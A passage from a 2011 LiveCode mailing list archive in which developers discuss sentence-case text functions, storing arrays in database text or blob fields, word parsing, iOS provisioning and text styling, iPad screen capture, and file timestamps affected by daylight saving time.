works fine. Some folks on this list pointed me > > in that direction a few months back. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Wed Dec 21 16:30:57 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 21 Dec 2011 15:30:57 -0600 Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF24970.20901@hindu.org> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> Message-ID: <4EF25011.2010109@hyperactivesw.com> On 12/21/11 3:02 PM, Sivakatirswami wrote: > OK yes, Title case is easy... It's sentence case I was looking for > because a period/dot is not part of a word. I guess one could use a dot > as a line delimiter and then step thru the lines. Seems like there should be some kind of fancy regex to do this, something that looks for space-period-character and capitalizes the character part. Maybe one of our regex gurus knows how. I think your lines solution could work too. You might have to make a more than one pass if you think there will be question marks or exclamation points at line endings. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From mike at doub.com Wed Dec 21 16:34:37 2011 From: mike at doub.com (mike at doub.com) Date: Wed, 21 Dec 2011 21:34:37 +0000 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> Message-ID: <115185254-1324503273-cardhu_decombobulator_blackberry.rim.net-2045871482-@b27.c31.bise6.blackberry> Not any hair left to pull out. I am enjoying the banter and learning at the same time. Keep it coming! -= Mike Sent from my BlackBerry device on the Rogers Wireless Network -----Original Message----- From: Pete Sender: use-livecode-bounces at lists.runrev.com Date: Wed, 21 Dec 2011 10:35:26 To: How to use LiveCode Reply-To: How to use LiveCode Subject: Re: Database syntax I think the guy who asked the original question must be tearing his hair out by now! One thing I mentioned earlier that might be relevant to him is that there's no need to use blobs when storing LC arrays. Just use base64 encoding and store it in a text field, works fine. Some folks on this list pointed me in that direction a few months back. On Wed, Dec 21, 2011 at 12:48 AM, Bernard Devlin wrote: > Actually, this was precisely the situation in which multiple LC > arrays, being used as "tables", where the array key was the primary > key of the "table", and joining these "tables" was far faster to do > using LC arrays than any in-memory SQL database. Admittedly these > were only 2-way and 3-way joins, so _maybe_ if they were 7-way joins I > might not have seen the same performance difference. > > If you need a RDBMS (and integrity checks, triggers, etc), then you > probably do need it -- there's no point in re-inventing the wheel. > But if you need to just store a list of blobs, then an array with > pointers to blobs on the filesystem might still be much faster (and > much simpler). > > I'm not opposed to RDBMS per se. In my time, I've used Oracle, > Firebird, Frontbase, Postgresql, Openbase, HSQL, Valentina and Sqlite, > and I still use some of those if the situation needs it. > > Bernard > > On Wed, Dec 21, 2011 at 2:25 AM, Pete wrote: > > But as soon as you get into multiple datasets with links between them or > > multiple ways to access one dataset or multiple users accessing the same > > data, there's a strong justification to use a database unless the > > performance/memory issues are so bad that you can't deal with them > (which I > > find difficult to believe). > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 21 16:46:11 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 13:46:11 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF24970.20901@hindu.org> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> Message-ID: I did something similar recently, where not only was the delimiter important, but preserving the exact delimiter was also important. In my case it was breaking out the parts of a query that might contain AND or OR. What I did was: replace " AND " with cr & " AND " & cr in theList replace " OR " with cr & " OR " & cr in theList repeat with theLineCount = 1 to the number of lines of theList step 2 put line theLineCount of theList into theLine put line theLineCount +1 into theDelimiter -- do some stuff with whatcha got put theLine & theDelimiter & cr after theNewList end repeat You could modify this to deal with a period and a space, a period and a close parens, a period and a character return or a period and anything else that might apply. Just don't append CR for a single period and cr, or you will end up with blank lines that were not there beforehand. Also, now that I think about it, you should probably also replace "..." with an ellipsis before continuing, and any other thing that might come after a period in normal text. You should end up with a list of sentences, and whatever came after them. Also, now that I think about it some more, you should probably replace 2 cr's with some kind of placeholder & cr before anything else in a repeat loop to account for multiple CR's. That would throw your function out of sync if an extra line showed up anywhere along the way. Bob On Dec 21, 2011, at 1:02 PM, Sivakatirswami wrote: > OK yes, Title case is easy... It's sentence case I was looking for because a period/dot is not part of a word. I guess one could use a dot as a line delimiter and then step thru the lines. > > > > On 12/21/11 10:57 AM, Bob Sneidar wrote: >> On Dec 21, 2011, at 12:43 PM, Sivakatirswami wrote: >> >>> I have a need to take all caps input and >>> >>> 1) Lower case all but first letter of sentences >>> >>> 2) Upper case words in a small dictionary I will provide to the function. >>> >>> As anyone cooked up something like this already... if I just had 1) can manage 2) >>> >>> Happy Holidays! >>> >>> Om Shanti >>> Sivakatirswami >>> >>> Kauai Aadheenam >>> >>> __________________________ >> function titleCase theText, forceIt >> if forceIt is true then >> put tolower(theText) into theText >> end if >> >> repeat with theWordNum = 1 to the number of words of theText >> put toupper(char 1 of word theWordNum of theText)& \ >> char 2 to -1 of word theWordNum of theText \ >> into word theWordNum of theText >> end repeat >> >> return theText >> end titleCase >> >> >> _______________________________________________ >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 21 16:49:47 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 13:49:47 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> Message-ID: <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> OIC good point. But wouldn't it be better simply isolate the comma delimited arguments (usually in parens) in an SQL statement and then deal with them as items? But I suppose there are all kinds of special circumstances that would make a general purpose word function very unwieldy. Bob On Dec 21, 2011, at 1:17 PM, Pete wrote: > Not really - try parsing out an SQL SELECT statement. Granted that's not > really English text but if you want to make this a general purpose > function, you have to deal with that circumstance. I needed to do that and > ended up going through the text and inserting a space after each comma if > there wasn't already one there. > > On Wed, Dec 21, 2011 at 12:54 PM, Bob Sneidar wrote: > >> I suppose it could be argued that everything would break down if the text >> were "now,is,the,time,for,all,goo,men..." but at some point we have to >> presume the absence of the absurd? to have 2 words split by a comma is a >> problem with the data, not with the software. >> >> Bob >> >> >> On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: >> >>> Yes, but... if the phrase is "now is the time,for all good men" then a >>> search for "all" will return 5 instead of 6. >>> >>> -- >>> -Mark Wieder >>> mwieder at ahsoftware.net >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 21 16:54:00 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 13:54:00 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> <5B61FDC1-4ADA-4C2A-A95D-191EB76BE0A1@twft.com> Message-ID: <8D5C19D4-E54C-4060-8514-BF366E89A78A@twft.com> Probably something similar to what I encountered when passing an AES encrypted string that *might* contain commas or characters that would jack a query. Using sqlYoga solved that for me as the insert and update queries are escaped by default (correct me if I am wrong). Bob On Dec 21, 2011, at 1:22 PM, Pete wrote: > The problem I had was that it just didn't work using a blob. The encoded > array got stored OK but LC didn't recognise what came back as an array, > don't remember all the details. > > The default max size of a text field in SQLite is 1 million characters so I > think he'd be pretty safe. > > On Wed, Dec 21, 2011 at 12:48 PM, Bob Sneidar wrote: > >> How can you tell how big the encoded array will be? I would use blobs >> whenever the size might increase in the future beyond what I expected. But >> if the array is a fixed size, and you know for certain it will never grow >> beyond x, then a text column would do fine. >> >> Bob >> >> >> On Dec 21, 2011, at 10:35 AM, Pete wrote: >> >>> One thing I mentioned earlier that might be relevant to him is that >> there's >>> no need to use blobs when storing LC arrays. Just use base64 encoding and >>> store it in a text field, works fine. Some folks on this list pointed me >>> in that direction a few months back. >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 21 16:59:12 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 21 Dec 2011 13:59:12 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> Message-ID: <32413829562.20111221135912@ahsoftware.net> Bob- Wednesday, December 21, 2011, 12:54:46 PM, you wrote: > I suppose it could be argued that everything would break down if > the text were "now,is,the,time,for,all,goo,men..." but at some point > we have to presume the absence of the absurd? to have 2 words split > by a comma is a problem with the data, not with the software. For that matter "Now is the time, for all good men" is also a problem with the data. That comma has no reason being there. -- -Mark Wieder mwieder at ahsoftware.net From pete at mollysrevenge.com Wed Dec 21 17:00:57 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 14:00:57 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF25011.2010109@hyperactivesw.com> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> Message-ID: Or a close paren? Seems like modern English usage is to put the period before the close paren at the end of a sentence (although I personally hate that). On Wed, Dec 21, 2011 at 1:30 PM, J. Landman Gay wrote: > On 12/21/11 3:02 PM, Sivakatirswami wrote: > >> OK yes, Title case is easy... It's sentence case I was looking for >> because a period/dot is not part of a word. I guess one could use a dot >> as a line delimiter and then step thru the lines. >> > > Seems like there should be some kind of fancy regex to do this, something > that looks for space-period-character and capitalizes the character part. > Maybe one of our regex gurus knows how. > > I think your lines solution could work too. You might have to make a more > than one pass if you think there will be question marks or exclamation > points at line endings. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From ruslan_zasukhin at valentina-db.com Wed Dec 21 17:04:05 2011 From: ruslan_zasukhin at valentina-db.com (Ruslan Zasukhin) Date: Thu, 22 Dec 2011 00:04:05 +0200 Subject: Database syntax -- array to BLOB In-Reply-To: Message-ID: On 12/21/11 11:22 PM, "Pete" wrote: > The problem I had was that it just didn't work using a blob. The encoded > array got stored OK but LC didn't recognise what came back as an array, > don't remember all the details. This can be interested feature actually. A) I not remember right now if V4REV support ARRAY to BLOB ... but probably yes, should work, because we have FixedBinary field VarBinary field BLOB field and should be something to put binary value from REV into field. But since array is special structure, may be we can/need provide special API func for this. E.g. WriteArrayToBLOB( fld, array ) anyway with Valentina no need to have overhead of base64 encoding... > The default max size of a text field in SQLite is 1 million characters so I > think he'd be pretty safe. B) BLOB/TEXT in Valentina DB limited by huge numbers ... -- Best regards, Ruslan Zasukhin VP Engineering and New Technology Paradigma Software, Inc Valentina - Joining Worlds of Information http://www.paradigmasoft.com [I feel the need: the need for speed] From pete at mollysrevenge.com Wed Dec 21 17:08:53 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 14:08:53 -0800 Subject: is among the words AND find words In-Reply-To: <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> References: <113407220062.20111221120903@ahsoftware.net> <1ABECA18-6AF0-45DE-A479-B077BEB2AC9B@twft.com> Message-ID: I think I tried that but the arguments aren't always comma delimited unfortunately. Somewhat related,I wish SQLite provided more formatted access to the table structures. Some stuff is available via the PRAGMA statements but for other information, there's no alternative but to parse the CREATE TABLE statement. I think I found a series of SQL statements once that built the equivalent of mySQL Information tables for SQLite but now I can't find it! On Wed, Dec 21, 2011 at 1:49 PM, Bob Sneidar wrote: > OIC good point. But wouldn't it be better simply isolate the comma > delimited arguments (usually in parens) in an SQL statement and then deal > with them as items? But I suppose there are all kinds of special > circumstances that would make a general purpose word function very unwieldy. > > Bob > > On Dec 21, 2011, at 1:17 PM, Pete wrote: > > > Not really - try parsing out an SQL SELECT statement. Granted that's not > > really English text but if you want to make this a general purpose > > function, you have to deal with that circumstance. I needed to do that > and > > ended up going through the text and inserting a space after each comma if > > there wasn't already one there. > > > > On Wed, Dec 21, 2011 at 12:54 PM, Bob Sneidar wrote: > > > >> I suppose it could be argued that everything would break down if the > text > >> were "now,is,the,time,for,all,goo,men..." but at some point we have to > >> presume the absence of the absurd? to have 2 words split by a comma is a > >> problem with the data, not with the software. > >> > >> Bob > >> > >> > >> On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: > >> > >>> Yes, but... if the phrase is "now is the time,for all good men" then a > >>> search for "all" will return 5 instead of 6. > >>> > >>> -- > >>> -Mark Wieder > >>> mwieder at ahsoftware.net > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > >> > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Wed Dec 21 17:09:11 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 14:09:11 -0800 Subject: is among the words AND find words In-Reply-To: <32413829562.20111221135912@ahsoftware.net> References: <113407220062.20111221120903@ahsoftware.net> <32413829562.20111221135912@ahsoftware.net> Message-ID: <12137619-6B81-4E9F-969B-C57FA9E6FA85@twft.com> True enough, except that a comma *might* be there under normal circumstances, whereas I cannot think of an example where two words can be joined by a comma in normal English grammar. But again, it might not be english grammar we are trying to work with, so any function devised could not be so generalized so as to attempt to work with ANY text haphazardly strung together without consideration for grammatical structure. An SQL parser would have to be tuned for SQL, an English sentence parser accordingly etc. Bob On Dec 21, 2011, at 1:59 PM, Mark Wieder wrote: > Bob- > > Wednesday, December 21, 2011, 12:54:46 PM, you wrote: > >> I suppose it could be argued that everything would break down if >> the text were "now,is,the,time,for,all,goo,men..." but at some point >> we have to presume the absence of the absurd? to have 2 words split >> by a comma is a problem with the data, not with the software. > > For that matter "Now is the time, for all good men" is also a problem > with the data. That comma has no reason being there. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 21 17:09:19 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 21 Dec 2011 14:09:19 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> Message-ID: <44414436265.20111221140919@ahsoftware.net> Pete- Wednesday, December 21, 2011, 2:00:57 PM, you wrote: > Or a close paren? Seems like modern English usage is to put the period > before the close paren at the end of a sentence (although I personally hate > that). I believe that's the traditional approach and it's been changing over time to the point where the correct way is now acceptable. -- -Mark Wieder mwieder at ahsoftware.net From bobs at twft.com Wed Dec 21 17:10:05 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 14:10:05 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> Message-ID: (Me too!) On Dec 21, 2011, at 2:00 PM, Pete wrote: > Or a close paren? Seems like modern English usage is to put the period > before the close paren at the end of a sentence (although I personally hate > that). > > On Wed, Dec 21, 2011 at 1:30 PM, J. Landman Gay wrote: > >> On 12/21/11 3:02 PM, Sivakatirswami wrote: >> >>> OK yes, Title case is easy... It's sentence case I was looking for >>> because a period/dot is not part of a word. I guess one could use a dot >>> as a line delimiter and then step thru the lines. >>> >> >> Seems like there should be some kind of fancy regex to do this, something >> that looks for space-period-character and capitalizes the character part. >> Maybe one of our regex gurus knows how. >> >> I think your lines solution could work too. You might have to make a more >> than one pass if you think there will be question marks or exclamation >> points at line endings. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Wed Dec 21 17:15:14 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 14:15:14 -0800 Subject: Database syntax -- array to BLOB In-Reply-To: References: Message-ID: I think the problem I had with blobs is that a base64 encoded string is text, not binary so trying to put into a column that thinks it's getting binary data seems to mess things up. But I don't remember for sure. All I know is that using base64 encoding and a text column works just fine for me. On Wed, Dec 21, 2011 at 2:04 PM, Ruslan Zasukhin < ruslan_zasukhin at valentina-db.com> wrote: > On 12/21/11 11:22 PM, "Pete" wrote: > > > The problem I had was that it just didn't work using a blob. The encoded > > array got stored OK but LC didn't recognise what came back as an array, > > don't remember all the details. > > This can be interested feature actually. > > A) I not remember right now if V4REV support ARRAY to BLOB ... > but probably yes, should work, because we have > FixedBinary field > VarBinary field > BLOB field > > and should be something to put binary value from REV into field. > > But since array is special structure, may be we can/need provide > special API func for this. E.g. WriteArrayToBLOB( fld, array ) > > anyway with Valentina no need to have overhead of base64 encoding... > > > > The default max size of a text field in SQLite is 1 million characters > so I > > think he'd be pretty safe. > > B) BLOB/TEXT in Valentina DB limited by huge numbers ... > > > -- > Best regards, > > Ruslan Zasukhin > VP Engineering and New Technology > Paradigma Software, Inc > > Valentina - Joining Worlds of Information > http://www.paradigmasoft.com > > [I feel the need: the need for speed] > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Wed Dec 21 17:23:16 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 14:23:16 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: <44414436265.20111221140919@ahsoftware.net> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> Message-ID: Came across another corner case - a quotation at the end of a sentence, eg: Mark said, "You don't know what you're talking about!" This could be a real nightmare! On Wed, Dec 21, 2011 at 2:09 PM, Mark Wieder wrote: > Pete- > > Wednesday, December 21, 2011, 2:00:57 PM, you wrote: > > > Or a close paren? Seems like modern English usage is to put the period > > before the close paren at the end of a sentence (although I personally > hate > > that). > > I believe that's the traditional approach and it's been changing over > time to the point where the correct way is now acceptable. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From ray at linkit.com Wed Dec 21 18:22:37 2011 From: ray at linkit.com (Ray Horsley) Date: Wed, 21 Dec 2011 17:22:37 -0600 Subject: could not find a valid Identity to use for the selected profile In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> Message-ID: Anybody know how to jump through this hoop when saving an iOS app? From m.schonewille at economy-x-talk.com Wed Dec 21 17:29:42 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 21 Dec 2011 23:29:42 +0100 Subject: could not find a valid Identity to use for the selected profile In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> Message-ID: <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> Hi, That's very, very little information. For example, are you sure you did everything correctly? Do you even have an Apple developer account for iOS? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 00:22, Ray Horsley wrote: > > Anybody know how to jump through this hoop when saving an iOS app? From cmsheffield at me.com Wed Dec 21 17:42:19 2011 From: cmsheffield at me.com (Chris Sheffield) Date: Wed, 21 Dec 2011 15:42:19 -0700 Subject: iOS: text styles Message-ID: <80D8704A-B7FA-404A-99B7-C94D82C75B57@me.com> I've about driven myself crazy over this one today, but it turns out I think I may have found a bug. Either that or very strange expected behavior. So I'm wondering if someone wouldn't mind checking this for me to see if the results are the same. Should only take a couple minutes. Create a new stack. Place one field on it. Make the stack, field, and font size large enough to read easily on an iPad (or in the simulator). Set the font of the field to Arial. In the preOpenCard handler, set the htmlText of the field. Something like: set the htmlText of fld 1 to "

Howdy! How are you today?

" Set the standalone settings for iPad, etc. Launch it in the simulator. Does the word "are" appear in italics? It doesn't for me. Should it? The same thing works fine in the IDE. But when run in the simulator or on a device the text is not styled. I did just try using Helvetica instead of Arial and that seems to work okay. Unfortunately, I need Arial and not Helvetica. Anybody have any suggestions here? This is very nearly a showstopper if it's a bug. Really need this to work. Thanks, Chris -- Chris Sheffield Read Naturally, Inc. www.readnaturally.com From todd at geistinteractive.com Wed Dec 21 18:09:38 2011 From: todd at geistinteractive.com (Todd Geist) Date: Wed, 21 Dec 2011 15:09:38 -0800 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: Hello, I spent a tremendous amount of time researching this. It turns out there is NOT an app for that :-) I did finally come up with a setup that works but it is not cheap, not is it perfect. I can capture the iPad screen but it doesn't show finger touches like you see with the simulator. First you need some hardware that can capture HDMI. I chose this. http://www.bhphotovideo.com/bnh/controller/home?is=REG&sku=618348&Q=&O=&A=details Then you need Some Software to capture the incoming HDMI. Apple has an Xcode sample project called WhackedTV, that can do it. But I use ScreenFlow 3. ScreenFlow is what I normally capture screen casts with. The iPad shows up as one of the video sources you can capture when you configure the recording. Then in post processing I add the iPad Frame around the video. If you want to see the results you can check out the video http://www.geistinteractive.com/gosign/overview/ Its a lot of work. But as far as I know its the only way to capture and record the iPad screen. Todd -- Todd Geist (805) 419-9382 From ray at linkit.com Wed Dec 21 19:20:56 2011 From: ray at linkit.com (Ray Horsley) Date: Wed, 21 Dec 2011 18:20:56 -0600 Subject: could not find a valid Identity to use for the selected profile In-Reply-To: <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> Message-ID: Sorry. I guess my question did provide pretty scant specs. Anyway, yes, I enrolled in the Apple Developer program last year after purchasing an iPad. I've since given the iPad to somebody else in our company and I just bought a new iPad 2. After I renewed the developer membership I setup the new iPad 2 using the Apple ID. My first attempt at saving a standalone prompted me to install SDK 5 which I did. Now I've got this error after choosing a profile I created last year. Could it be that profile is no good anymore? I'm using Lvecode 5.0.2 with Mac 10.6.8. Thanks for your thoughts on this Mark. On Dec 21, 2011, at 4:29 PM, Mark Schonewille wrote: > Hi, > > That's very, very little information. For example, are you sure you did everything correctly? Do you even have an Apple developer account for iOS? > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! > > On 22 dec 2011, at 00:22, Ray Horsley wrote: > >> >> Anybody know how to jump through this hoop when saving an iOS app? > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Wed Dec 21 18:40:39 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 22 Dec 2011 00:40:39 +0100 Subject: could not find a valid Identity to use for the selected profile In-Reply-To: References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> Message-ID: <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> Hi, Yes, indeed, you have to renew the profiles every now and then. They expire. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 22 dec 2011, at 01:20, Ray Horsley wrote: > Sorry. I guess my question did provide pretty scant specs. Anyway, yes, I enrolled in the Apple Developer program last year after purchasing an iPad. I've since given the iPad to somebody else in our company and I just bought a new iPad 2. After I renewed the developer membership I setup the new iPad 2 using the Apple ID. My first attempt at saving a standalone prompted me to install SDK 5 which I did. Now I've got this error after choosing a profile I created last year. Could it be that profile is no good anymore? I'm using Lvecode 5.0.2 with Mac 10.6.8. > > Thanks for your thoughts on this Mark. From keith at gulfbreezeortholab.com Wed Dec 21 19:08:40 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Wed, 21 Dec 2011 18:08:40 -0600 Subject: File time off by an hour... In-Reply-To: References: Message-ID: <9552C235B53A479C8ACD784BE5B041FC@KeithPC> Hmmmm. No responses to this. I did experiment a bit and noticed that when I set my PC's time zone to Eastern time in lieu of Central time, the file times show correctly. Also, without switching time zones, the file dates show an hour behind for files saved during months falling in daylight savings, and show correctly for files saved during months not falling in daylight savings... Weird. Is this a bug? Anyone have a workaround? Thanks, - Boo -----Original Message----- From: Keith (Gulf Breeze Ortho Lab) Sent: Wednesday, December 21, 2011 1:04 AM To: How to use LiveCode Subject: File time off by an hour... Hi All, I am using detailed files to obtain a file's date and time modified (converting it to short date and short time)... All works well, but I noticed the following... Several of my files have a date of 9/24/11 with a time of 2:26 PM (as shown in Windows explorer). However, when I obtain and convert the date and time in LiveCode, the date appears correctly, but the time is off by 1 hour and shows as 1:26 PM in lieu of 2:26 PM. However, when I open the file and save it, it shows the correct time after modifying the file. (The problem seems to be with older files from several months back.) Does this have something to do with daylight savings time or something? How can I ensure that the file modified time that's shown in a LiveCode app. appears exactly as it appears in Windows explorer? FYI: I am on Central Time here... Thanks, - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From rdimola at evergreeninfo.net Wed Dec 21 19:13:01 2011 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Wed, 21 Dec 2011 19:13:01 -0500 Subject: revAndroidPlugin and the Android SDK In-Reply-To: <2743AE1F-F35F-4ABE-8F95-604116896F69@economy-x-talk.com> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> <4EF24970.20901@hindu.org> <4EF25011.2010109@hyperactivesw.com> <44414436265.20111221140919@ahsoftware.net> <77EE1B62-CCFD-4805-A7DE-C334085101A3@economy-x-talk.com> 